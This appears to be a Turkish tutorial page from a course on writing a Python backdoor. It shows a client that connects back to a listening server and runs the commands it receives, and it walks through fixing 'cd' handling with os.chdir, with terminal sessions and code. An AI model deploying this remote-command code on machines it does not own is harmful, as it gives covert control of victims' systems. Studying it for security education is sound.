> For the complete documentation index, see [llms.txt](https://bytistan.gitbook.io/baytistan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bytistan.gitbook.io/baytistan/arka-kapi/programin-calistirilma-sureci.md).

# Programın Çalıştırılma Süreci

Sıra programın test edilmesinde, kendi bilgisayarımda test edip daha sonrasında başka bir bilgisayarda denerim zamandan tasarruf.

## Programın Çalıştırılması

Şimdi elimde iki tane program var. Bunlardan birisi diğerine bağımlı bu yüzden bağımlılığı olmayanı önce çalıştırmam lazım.

### Sunucunun Çalıştırılması

```bash
dogukan@train:~/Develop/test$ python3 server.py 
[+] Server start to listening: 192.168.1.106:5000
```

Program bana hangi IP adresinde ve port üzerinde dinleme yaptığını söylüyor, ama devamında herhangi bir çıktı vermiyor. Telaşlanmanıza gerek yok çünkü program bir istemcinin bağlanmasını bekliyor.

{% hint style="warning" %}
Windows kullanıyorsan python yazabilirsin veya herhangi bir kod editörü ile de çalıştırabilirsin.
{% endhint %}

### İstemcinin Çalıştırılması

Şimdi istemciyi çalıştırıyorum. Otomatik olarak belirlediğimiz IP adresi ve port numarasına bağlanıyor.

```bash
python3 client.py
```

İstemci dosyası çalıştırıldığında herhangi bir çıktı vermiyor ama sunucu aktif oluyor artık sunucundan istemciye komut gönderebiliriz.

```bash
[+] Connection from: ('192.168.1.106', 38934)
 -> ls
client.py
server.py

 -> pwd
/home/dogukan/Develop/test

 -> cd ..
```

Bazı komutlar gönderdim  program beklendiği gibi çalışıyor ama ne zaman `cd ..` komutunu gönderirsem hata alıyorum.&#x20;

***

## Hata Düzeltme

Aldığım hata istemci tarafında çalışıp programın sonlanmasına sebep oluyor. Bu hatayı sunucu tarafında göremem.

```bash
Traceback (most recent call last):
  File "/home/dogukan/Develop/test/client.py", line 28, in <module>
    client.listen()
  File "/home/dogukan/Develop/test/client.py", line 20, in listen
    result = self.process(data)  
             ^^^^^^^^^^^^^^^^^^
  File "/home/dogukan/Develop/test/client.py", line 13, in process
    result = subprocess.run(data.split(" "), capture_output=True, text=True)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'cd'
```

Bu hata, `subprocess` kütüphanesi her komut çalıştırdığında yeni bir alt süreç (alt işlem) oluşturduğu için ortaya çıkar. Bu alt süreçte yapılan değişiklikler (örneğin dizin değiştirme gibi) ana süreci etkilemez. `cd` gibi, yalnızca kabukta çalışan ve ana süreçte etkisi olması beklenen komutlar, bu nedenle `subprocess` ile çalıştırılamaz. Bu tür komutlar çalıştırılmaya çalışıldığında, 'dosya veya dizin bulunamadı' gibi hatalar meydana gelir.

### Meydan Okuma

Bu hatayı senin düzeltmeni istiyorum, lütfen bir yerden yardım alma çünkü hata basit bir düzenleme ile çözülebilir.

Kullanılmasını istediğim kütüphane `os` kütüphanesi içerisinde bulunan `chdir` metotu ile bunu düzeltebilirsin.&#x20;

{% hint style="info" %}
Eğer çözmekte zorlanırsan aşağıdaki ipucundan faydalanabilirsin.
{% endhint %}

<details>

<summary>İpucu</summary>

Komutlar ilk kısmında bir komut adı içerir, ardından gelen kısımlar ise o komuta parametre vermek için kullanılır. Örneğin, `data.split(" ")` ifadesiyle komutu çalıştırmadan önce boşluklardan ayırıyoruz. Bu sayede, `ls -l` komutu `['ls', '-l']` formatına dönüşüyor ve `subprocess.run()` ile çalıştırılabiliyor.

</details>

### Hatanın Çözümü

Bu istisnai bir durum ve bunun için fazladan bir kaç satır kod yazmaktan zeval gelmez.

### Bağımlılıkların İçe Aktarılması

`os` kütüphanesini içe aktarıyorum.

```python
# client.py

# ...

import os

# ...
```

### Komutların Filtrelenmesi

Gelen komutların amacına uygun kullanılması için filtrelenmesi gerek.

```python
# client.py

# ...

def process(self, data):
    cmd = data.split(" ")

    if cmd[0] == "cd":
        path = "" if len(cmd) < 1 else cmd[1]
        os.chdir(path) 
        return "[INFO] Direction succesfuly changed."
    else:
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.stdout
        
# ...
```

İpucunda da bahsettiğim gibi `cd` gelende komutun başlangıç kısmına yazılır. Komutu boşluklarından ayırarak elde ettiğim listenin ilk elemanı `cd` ise `os.chdir` kullanıyorum ve durum bilgisi dönüyorum, değilse `subprocess.run` kullanıyorum.

Bu şekilde çalıştırdığımda dizin değiştirebiliyorum, bir arka kapı programının bel kemiği.

```bash
dogukan@train:~/Develop/backdoor$ python3 server.py 
[+] Connection from: ('127.0.0.1', 48896)
 -> ls
client.py
server.py

 -> cd ..
[INFO] Direction succesfuly changed.
 -> pwd
/home/dogukan/Develop

 -> cd ..
[INFO] Direction succesfuly changed.
 -> pwd
/home/dogukan

 -> ls
Desktop
Develop
Documents
Downloads
Music
Pictures
Public
snap
Templates
Videos

 -> 
```

Bunu örnek olarak paylaşmasam olmazdı :)
